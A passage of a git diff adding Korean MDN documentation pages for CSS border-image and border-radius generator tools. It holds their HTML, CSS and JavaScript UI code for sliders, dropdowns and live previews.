+ InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+ }
+
+ }.bind(this);
+
+ node.addEventListener("mousedown", startDrag);
+
+ InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+ InputSliderManager.setValue(topic, this.position);
+ };
+
+
+ GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+ if (this.unit === 0)
+ this.position = this.value * ImageControl.getScale() | 0;
+ else
+ this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+ this.node.style[this.info] = this.position + 'px';
+ };
+
+ GuideLine.prototype.setPosition = function setPosition(value) {
+ this.value = value;
+ this.tooltip.textContent = value;
+ this.updateGuidelinePos();
+ Tool.setBorderSlice(this.pos, value);
+ };
+
+ GuideLine.prototype.setMax = function setMax(max) {
+ this.max = max;
+ this.updateLimit();
+ };
+
+ GuideLine.prototype.updateLimit = function updateLimit() {
+ if (this.unit === 1)
+ InputSliderManager.setMax(this.topic, 100);
+ else
+ InputSliderManager.setMax(this.topic, this.max);
+ };
+
+ GuideLine.prototype.setUnit = function setUnit(type) {
+ if (type === '%') this.unit = 1;
+ if (type === '') this.unit = 0;
+ this.updateLimit();
+ };
+
+ /*
+ * Unit panel
+ */
+ var UnitPanel = (function UnitPanel () {
+
+ var panel;
+ var title;
+ var precision;
+ var step;
+ var unit_topic = null; // settings are made for this topic
+ var step_option = [1, 0.1, 0.01];
+
+ var updatePrecision = function updatePrecision(value) {
+ InputSliderManager.setPrecision('unit-step', value);
+ InputSliderManager.setStep('unit-step', step_option[value]);
+ InputSliderManager.setMin('unit-step', step_option[value]);
+
+ if (unit_topic)
+ InputSliderManager.setPrecision(unit_topic, value);
+ };
+
+ var updateUnitSettings = function updateUnitSettings(value) {
+ if (unit_topic)
+ InputSliderManager.setStep(unit_topic, value);
+ };
+
+ var show = function show(e) {
+ var topic = e.target.getAttribute('data-topic');
+ var precision = InputSliderManager.getPrecision(topic);
+ var step = InputSliderManager.getStep(topic);
+
+ unit_topic = topic;
+ title.textContent = topic;
+
+ panel.setAttribute('data-active', 'true');
+ panel.style.top = e.target.offsetTop - 40 + 'px';
+ panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+ InputSliderManager.setValue('unit-precision', precision);
+ InputSliderManager.setValue('unit-step', step);
+ };
+
+ var init = function init() {
+ panel = document.createElement('div');
+ title = document.createElement('div');
+ var close = document.createElement('div');
+
+ step = InputSliderManager.createSlider('unit-step', 'step');
+ precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+ InputSliderManager.setStep('unit-precision', 1);
+ InputSliderManager.setMax('unit-precision', 2);
+ InputSliderManager.setValue('unit-precision', 2);
+ InputSliderManager.setSensivity('unit-precision', 20);
+
+ InputSliderManager.setValue('unit-step', 1);
+ InputSliderManager.setStep('unit-step', 0.01);
+ InputSliderManager.setPrecision('unit-step', 2);
+
+ InputSliderManager.subscribe('unit-precision', updatePrecision);
+ InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+ close.addEventListener('click', function () {
+ panel.setAttribute('data-active', 'false');
+ });
+
+ title.textContent = 'Properties';
+ title.className = 'title';
+ close.className = 'close';
+ panel.id = 'unit-settings';
+ panel.setAttribute('data-active', 'false');
+ panel.appendChild(title);
+ panel.appendChild(precision);
+ panel.appendChild(step);
+ panel.appendChild(close);
+ document.body.appendChild(panel);
+ };
+
+ return {
+ init : init,
+ show : show
+ };
+
+ })();
+
+ /**
+ * Tool Manager
+ */
+ var Tool = (function Tool() {
+ var preview_area;
+ var dropdown_unit_options = [
+ { '' : '--', '%' : '%'},
+ { 'px' : 'px', '%' : '%', 'em' : 'em'},
+ { 'px' : 'px', 'em' : 'em'},
+ ];
+
+ var border_slice = [];
+ var border_width = [];
+ var border_outset = [];
+
+ var border_slice_values = [];
+ var border_width_values = [];
+ var border_outset_values = [];
+
+ var border_slice_units = ['', '', '', ''];
+ var border_width_units = ['px', 'px', 'px', 'px'];
+ var border_outset_units = ['px', 'px', 'px', 'px'];
+
+ var border_fill = false;
+ var border_repeat = ['round', 'round'];
+ var CSS_code = {
+ 'source' : null,
+ 'slice' : null,
+ 'width' : null,
+ 'outset' : null,
+ 'repeat' : null
+ };
+
+ var setBorderSlice = function setBorderSlice(positionID, value) {
+ border_slice[positionID] = value + border_slice_units[positionID];
+ updateBorderSlice();
+ };
+
+ var updateBorderSlice = function updateBorderSlice() {
+ var value = border_slice.join(' ');
+ if (border_fill === true)
+ value += ' fill';
+
+ preview.style.borderImageSlice = value;
+ setOutputCSS('slice', value);
+ };
+
+ var setBorderFill = function setBorderFill(value) {
+ border_fill = value;
+ var bimgslice = border_slice.join(' ');;
+ if (value === true)
+ bimgslice += ' fill';
+
+ preview.style.borderImageSlice = bimgslice;
+ };
+
+ var updateBorderWidth = function updateBorderWidth() {
+ var value = border_width.join(' ');
+ preview.style.borderImageWidth = value;
+ setOutputCSS('width', value);
+ };
+
+ var updateBorderOutset = function updateBorderOutset() {
+ var value = border_outset.join(' ');
+ preview.style.borderImageOutset = border_outset.join(' ');
+ setOutputCSS('outset', value);
+ };
+
+ var setBorderRepeat = function setBorderRepeat(obj) {
+ border_repeat[obj.value] = obj.name;
+ var value = border_repeat.join(' ');
+ preview.style.borderImageRepeat = value;
+ setOutputCSS('repeat', value);
+ };
+
+ var setOutputCSS = function setOutputCSS(topic, value) {
+ CSS_code[topic].textContent = value + ';';
+ };
+
+ var setPreviewFontSize = function setPreviewFontSize(value) {
+ preview.style.fontSize = value + 'px';
+ };
+
+ var setPreviewWidth = function setPreviewWidth(value) {
+ preview.style.width = value + 'px';
+ };
+
+ var setPreviewHeight = function setPreviewHeight(value) {
+ preview.style.height = value + 'px';
+ };
+
+ var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+ preview_area.style.height = value + 'px';
+ };
+
+ var updateDragOption = function updateDragOption(value) {
+ if (value === true)
+ subject.setAttribute('data-draggable', 'true');
+ else
+ subject.removeAttribute('data-draggable');
+ };
+
+ var createProperty = function createProperty(topic, labelID, optionsID) {
+
+ var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+ var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+ InputSliderManager.setSensivity(topic, 3);
+ InputSliderManager.setPrecision(topic, 1);
+
+ var property = document.createElement('div');
+ var config = document.createElement('div');
+
+ property.className = 'property';
+ config.className = 'config';
+ config.setAttribute('data-topic', topic);
+ config.addEventListener('click', UnitPanel.show);
+
+ property.appendChild(slider);
+ property.appendChild(dropdown);
+ property.appendChild(config);
+
+ return property;
+ };
+
+ var initBorderSliceControls = function initBorderSliceControls() {
+ var container = getElemById('border-slice-control');
+
+ var listenForChanges = function listenForChanges(topic, id) {
+ InputSliderManager.subscribe(topic, function(value) {
+ border_slice_values[id] = value;
+ border_slice[id] = value + border_slice_units[id];
+ updateBorderSlice();
+ });
+
+ DropDownManager.subscribe(topic, function(obj) {
+ guidelines[topic].setUnit(obj.value);
+ border_slice_units[id] = obj.value;
+ border_slice[id] = border_slice_values[id] + obj.value;
+ updateBorderSlice();
+ });
+ };
+
+ for (var i = 0; i &lt; positions.length; i++) {
+ var topic = 'slice-' + positions[i];
+ var property = createProperty(topic, i, 0);
+ listenForChanges(topic, i);
+
+ container.appendChild(property);
+ }
+
+ container.appendChild(container.children[1]);
+
+ };
+
+ var initBorderWidthControls = function initBorderWidthControls() {
+ var container = getElemById('border-width-control');
+
+ var listenForChanges = function listenForChanges(topic, id) {
+ InputSliderManager.subscribe(topic, function(value) {
+ border_width_values[id] = value;
+ border_width[id] = value + border_width_units[id];
+ updateBorderWidth();
+ });
+
+ DropDownManager.subscribe(topic, function(obj) {
+ if (obj.value === '%')
+ InputSliderManager.setMax(topic, 100);
+ else
+ InputSliderManager.setMax(topic, 1000);
+
+ border_width_units[id] = obj.value;
+ border_width[id] = border_width_values[id] + obj.value;
+ updateBorderWidth();
+ });
+ };
+
+ for (var i = 0; i &lt; positions.length; i++) {
+ var topic = 'width-' + positions[i];
+ var property = createProperty(topic, i, 1);
+ InputSliderManager.setMax(topic, 1000);
+ listenForChanges(topic, i);
+
+ container.appendChild(property);
+ }
+ };
+
+ var initBorderOutsetControls = function initBorderOutsetControls() {
+
+ var container = getElemById('border-outset-control');
+
+ var listenForChanges = function listenForChanges(topic, id) {
+ InputSliderManager.subscribe(topic, function(value) {
+ border_outset_values[id] = value;
+ border_outset[id] = value + border_outset_units[id];
+ updateBorderOutset();
+ });
+
+ DropDownManager.subscribe(topic, function(obj) {
+ border_outset_units[id] = obj.value;
+ border_outset[id] = border_outset_values[id] + obj.value;
+ updateBorderOutset();
+ });
+ };
+
+ for (var i = 0; i &lt; positions.length; i++) {
+ var topic = 'outset-' + positions[i];
+ var property = createProperty(topic, i, 2);
+ InputSliderManager.setMax(topic, 1000);
+ listenForChanges(topic, i);
+
+ container.appendChild(property);
+ }
+ };
+
+ var init = function init() {
+
+ var gallery =
+ subject = getElemById('subject');
+ preview = getElemById("preview");
+ preview_area = getElemById("preview_section");
+
+
+ CSS_code['source'] = getElemById("out-border-source");
+ CSS_code['slice'] = getElemById("out-border-slice");
+ CSS_code['width'] = getElemById("out-border-width");
+ CSS_code['outset'] = getElemById("out-border-outset");
+ CSS_code['repeat'] = getElemById("out-border-repeat");
+
+ initBorderSliceControls();
+ initBorderWidthControls();
+ initBorderOutsetControls();
+
+ var elem = document.querySelectorAll('.guideline');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new GuideLine(elem[i]);
+
+ PreviewControl.init();
+
+ ButtonManager.subscribe('slice-fill',setBorderFill);
+ ButtonManager.subscribe('drag-subject', updateDragOption);
+ ButtonManager.setValue('drag-subject', false);
+
+ DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+ DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+ InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+ InputSliderManager.subscribe('preview-width', setPreviewWidth);
+ InputSliderManager.subscribe('preview-height', setPreviewHeight);
+ InputSliderManager.subscribe('font-size', setPreviewFontSize);
+ InputSliderManager.setValue('preview-width', 300);
+ InputSliderManager.setValue('preview-height', 200);
+ };
+
+ return {
+ init: init,
+ setOutputCSS: setOutputCSS,
+ setBorderSlice: setBorderSlice
+ };
+
+ })();
+
+ /**
+ * Init Tool
+ */
+ var init = function init() {
+ InputSliderManager.init();
+ DropDownManager.init();
+ ButtonManager.init();
+ UnitPanel.init();
+ Tool.init();
+ ImageControl.init();
+ };
+
+ return {
+ init : init
+ };
+
+})();
+
+</pre>
+</div>
+
+<div>{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}</div>
diff --git a/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html
new file mode 100644
index 0000000000..a5db192618
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html
@@ -0,0 +1,1601 @@
+---
+title: Border-radius 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+tags:
+ - CSS
+ - CSS Borders
+ - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+---
+<p>이 도구를 사용해 CSS3 {{cssxref("border-radius")}} 값을 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="border-radius-generator" name="border-radius-generator">border-radius</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="preview" class="col span_12"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom"&gt;
+                &lt;/div&gt;
+
+                &lt;div id="radius-ui-sliders"&gt;
+                    &lt;div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="controls" class="group section"&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="dimensions"&gt;
+                &lt;div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"&gt;&lt;/div&gt;
+
+                &lt;div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="radius-lock"&gt;
+                &lt;div class="info"&gt; rounded corner &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-left'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-left'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="unit-selection"&gt;
+                &lt;div class="info"&gt; select border units &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/* GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+ width: 100%;
+}
+
+.span_11 {
+ width: 91.46%;
+}
+
+.span_10 {
+ width: 83%;
+}
+
+.span_9 {
+ width: 74.54%;
+}
+
+.span_8 {
+ width: 66.08%;
+}
+
+.span_7 {
+ width: 57.62%;
+}
+
+.span_6 {
+ width: 49.16%;
+}
+
+.span_5 {
+ width: 40.7%;
+}
+
+.span_4 {
+ width: 32.24%;
+}
+
+.span_3 {
+ width: 23.78%;
+}
+
+.span_2 {
+ width: 15.32%;
+}
+
+.span_1 {
+ width: 6.86%;
+}
+
+
+
+
+/* SECTIONS
+ * ========================================================================== */
+
+.section {
+ clear: both;
+ padding: 0px;
+ margin: 0px;
+}
+
+/* GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+ content: "";
+ display: table;
+}
+
+.group:after {
+ clear:both;
+}
+
+.group {
+ zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/* GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+ display: block;
+ float:left;
+ margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+ margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+ height: 20px;
+ margin: 10px 0;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ -moz-user-select: none;
+ user-select: none;
+}
+
+.ui-input-slider-container * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+ margin: 0;
+ padding: 0;
+ width: 50px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+ width: 90px;
+ padding: 0px 10px 0px 0px;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+ width: 16px;
+ cursor: pointer;
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+ width: 90px;
+ padding: 0 10px 0 0;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+ width: 25px;
+ background-color: #2C9FC9;
+ border-radius: 5px;
+ color: #FFF;
+ font-weight: bold;
+ line-height: 14px;
+ text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+ background-color: #379B4A;
+ cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+ text-align: center;
+ font-size: 16px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ line-height: 1.5em;
+ color: #FFF;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ display: none;
+}
+
+.ui-checkbox &gt; label {
+ font-size: 12px;
+ padding: 0.333em 1.666em 0.5em;
+ height: 1em;
+ line-height: 1em;
+
+ background-color: #888;
+ background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+
+ color: #FFF;
+ border-radius: 3px;
+ font-weight: bold;
+ float: left;
+}
+
+.ui-checkbox .text {
+ padding-left: 34px;
+ background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+ padding-right: 34px;
+ padding-left: 1.666em;
+ background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+ cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+ background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+ background-color: #379B4A;
+}
+
+body {
+ max-width: 1000px;
+ margin: 0 auto;
+
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+#container {
+ width: 100%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+ height: 500px;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+ text-align: center;
+ overflow: hidden;
+ position: relative;
+}
+
+#preview .content {
+ width: 100%;
+ height: 100%;
+ display: block;
+}
+
+#preview input {
+ color: #333;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+}
+
+#subject {
+ width: 400px;
+ height: 150px;
+ margin: 0 auto;
+ border: 3px solid #C60;
+ background: #FFF;
+ position: relative;
+}
+
+.radius {
+ width: 50%;
+ height: 50%;
+ border: 1px solid #CCC;
+ display: none;
+ position: absolute;
+ z-index: 1;
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.handle {
+ width: 16px;
+ height: 16px;
+ position: absolute;
+ z-index: 2;
+}
+
+.handle-top-left {
+ top: -12px;
+ left: -12px;
+ cursor: se-resize;
+ background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+ top: -12px;
+ right: -12px;
+ cursor: sw-resize;
+ background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+ bottom: -12px;
+ right: -12px;
+ cursor: nw-resize;
+ background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+ bottom: -12px;
+ left: -12px;
+ cursor: ne-resize;
+ background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+ position: absolute;
+ display : block;
+ z-index: 1;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+ top: 0;
+ left: 0;
+}
+
+#top-left .radius {
+ border-top-left-radius: 100%;
+ top: 0;
+ left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+ top: 0;
+ right: 0;
+}
+
+#top-right .radius {
+ border-top-right-radius: 100%;
+ top: 0;
+ right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+ bottom: 0;
+ right: 0;
+}
+
+#bottom-right .radius {
+ border-bottom-right-radius: 100%;
+ bottom: 0;
+ right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+ bottom: 0;
+ left: 0;
+}
+
+#bottom-left .radius {
+ border-bottom-left-radius: 100%;
+ bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+ margin: 10px;
+ position: absolute;
+ z-index: 10;
+}
+
+#radius-ui-sliders {
+ width: 100%;
+ height: 100%;
+ min-height: 75px;
+ min-width: 150px;
+ padding: 20px 50px;
+ top: -20px;
+ left: -50px;
+ position: relative;
+}
+
+#tlr {
+ top: -30px;
+ left: -50px;
+ display: none;
+}
+
+#tlw {
+ top: -30px;
+ left: 30px;
+}
+
+#tlh {
+ top: 20px;
+ left: -50px;
+}
+
+#trr {
+ top: -30px;
+ right: -50px;
+ display: none;
+}
+
+#trw {
+ top: -30px;
+ right: 30px;
+}
+
+#trh {
+ top: 20px;
+ right: -50px;
+}
+
+#brr {
+ bottom: -30px;
+ right: -50px;
+ display: none;
+}
+
+#brw {
+ bottom: -30px;
+ right: 30px;
+}
+
+#brh {
+ bottom: 20px;
+ right: -50px;
+}
+
+#blr {
+ bottom: -30px;
+ left: -50px;
+ display: none;
+}
+
+#blw {
+ bottom: -30px;
+ left: 30px;
+}
+
+#blh {
+ bottom: 20px;
+ left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+ visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+ visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+ visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+ width: 200px;
+ height: 75px;
+ margin: 30px 30px 0 0;
+ padding: 30px;
+ border: 3px solid #555;
+ border-radius: 10px;
+ position: relative;
+ float: right;
+}
+
+#unit-selection .info {
+ height: 20%;
+ width: 100%;
+ line-height: 20%;
+ font-size: 20px;
+ text-align: center;
+ position: relative;
+ top: 40%;
+}
+
+#unit-selection .dropdown {
+ width: 50px;
+ height: 20px;
+ margin: 10px;
+ padding: 0;
+ border-radius: 3px;
+ position: absolute;
+ overflow: hidden;
+}
+
+#unit-selection select {
+ width: 50px;
+ height: 20px;
+ marign: 0;
+ padding: 0 0 0 10px;
+ background: #555;
+ border: 1px solid #555;
+ border: none;
+ color: #FFF;
+ float: left;
+}
+
+#unit-selection select option {
+ background: #FFF;
+ color: #333;
+}
+
+#unit-selection select:hover {
+ cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+ content: "";
+ width: 18px;
+ height: 20px;
+ display: block;
+ background-color: #555;
+ background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+ top: 0px;
+ right: 0px;
+ position: absolute;
+ z-index: 1;
+ pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+ top: 0;
+ left: 0;
+ display: none;
+}
+
+#unit-selection .unit-top-left-w {
+ top: -22px;
+ left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+ top: 20px;
+ left: -37px;
+}
+
+#unit-selection .unit-top-right {
+ top: 0;
+ right: 0;
+ display: none;
+}
+
+#unit-selection .unit-top-right-w {
+ top: -22px;
+ right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+ top: 20px;
+ right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+ bottom: 0;
+ right: 0;
+ display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+ bottom: -22px;
+ right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+ bottom: 20px;
+ right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+ bottom: 0;
+ left: 0;
+ display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+ bottom: -22px;
+ left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+ bottom: 20px;
+ left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+ width: 200px;
+ height: 75px;
+ margin: 30px 0 0 30px;
+ padding: 30px;
+ border: 3px solid #555;
+ border-radius: 10px;
+ position: relative;
+ float: left;
+}
+
+#radius-lock .ui-checkbox {
+ color: #FFF;
+ position: absolute;
+}
+
+#radius-lock .ui-checkbox &gt; label {
+ height: 20px;
+ width: 34px;
+ padding: 0;
+}
+
+#radius-lock .info {
+ height: 20%;
+ width: 100%;
+ line-height: 20%;
+ font-size: 20px;
+ text-align: center;
+ position: relative;
+ top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+ top: 10px;
+ left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+ top: 10px;
+ right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+ bottom: 10px;
+ right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+ bottom: 10px;
+ left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+ width: 200px;
+ color: #444;
+ float:left;
+}
+
+#dimensions input {
+ background: #555;
+ color: #FFF;
+ border: none;
+ border-radius: 3px;
+}
+
+#output {
+ width: 500px;
+ padding: 10px 0;
+ margin: 10px 0;
+ color: #555;
+ text-align: center;
+ border: 1px dashed #999;
+ border-radius: 3px;
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+ user-select: text;
+
+ float: right;
+}
+
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+ var subscribers = {};
+ var sliders = [];
+
+ var InputComponent = function InputComponent(obj) {
+ var input = document.createElement('input');
+ input.setAttribute('type', 'text');
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ var value = parseInt(e.target.value);
+
+ if (isNaN(value) === true)
+ setValue(obj.topic, obj.value);
+ else
+ setValue(obj.topic, value);
+ });
+
+ subscribe(obj.topic, function(value) {
+ input.value = value + obj.unit;
+ });
+
+ return input;
+ }
+
+ var SliderComponent = function SliderComponent(obj, sign) {
+ var slider = document.createElement('div');
+ var startX = null;
+ var start_value = 0;
+
+ slider.addEventListener("click", function(e) {
+ setValue(obj.topic, obj.value + obj.step * sign);
+ });
+
+ slider.addEventListener("mousedown", function(e) {
+ startX = e.clientX;
+ start_value = obj.value;
+ document.body.style.cursor = "e-resize";
+ document.addEventListener("mousemove", sliderMotion);
+ });
+
+ document.addEventListener("mouseup", function(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ document.body.style.cursor = "auto";
+ slider.style.cursor = "pointer";
+ });
+
+ var sliderMotion = function sliderMotion(e) {
+ slider.style.cursor = "e-resize";
+ var delta = (e.clientX - startX) / obj.sensivity | 0;
+ var value = delta * obj.step + start_value;
+ setValue(obj.topic, value);
+ }
+
+ return slider;
+ }
+
+ var InputSlider = function(node) {
+ var min = node.getAttribute('data-min') | 0;
+ var max = node.getAttribute('data-max') | 0;
+ var step = node.getAttribute('data-step') | 0;
+ var value = node.getAttribute('data-value') | 0;
+ var topic = node.getAttribute('data-topic');
+ var unit = node.getAttribute('data-unit');
+ var name = node.getAttribute('data-info');
+ var sensivity = node.getAttribute('data-sensivity') | 0;
+
+ this.min = min;
+ this.max = max &gt; 0 ? max : 100;
+ this.step = step === 0 ? 1 : step;
+ this.topic = topic;
+ this.node = node;
+ this.unit = unit;
+ this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+
+ var input = new InputComponent(this);
+ var slider_left = new SliderComponent(this, -1);
+ var slider_right = new SliderComponent(this, 1);
+
+ slider_left.className = 'ui-input-slider-left';
+ slider_right.className = 'ui-input-slider-right';
+
+ if (name) {
+ var info = document.createElement('span');
+ info.className = 'ui-input-slider-info';
+ info.textContent = name;
+ node.appendChild(info);
+ }
+
+ node.appendChild(slider_left);
+ node.appendChild(input);
+ node.appendChild(slider_right);
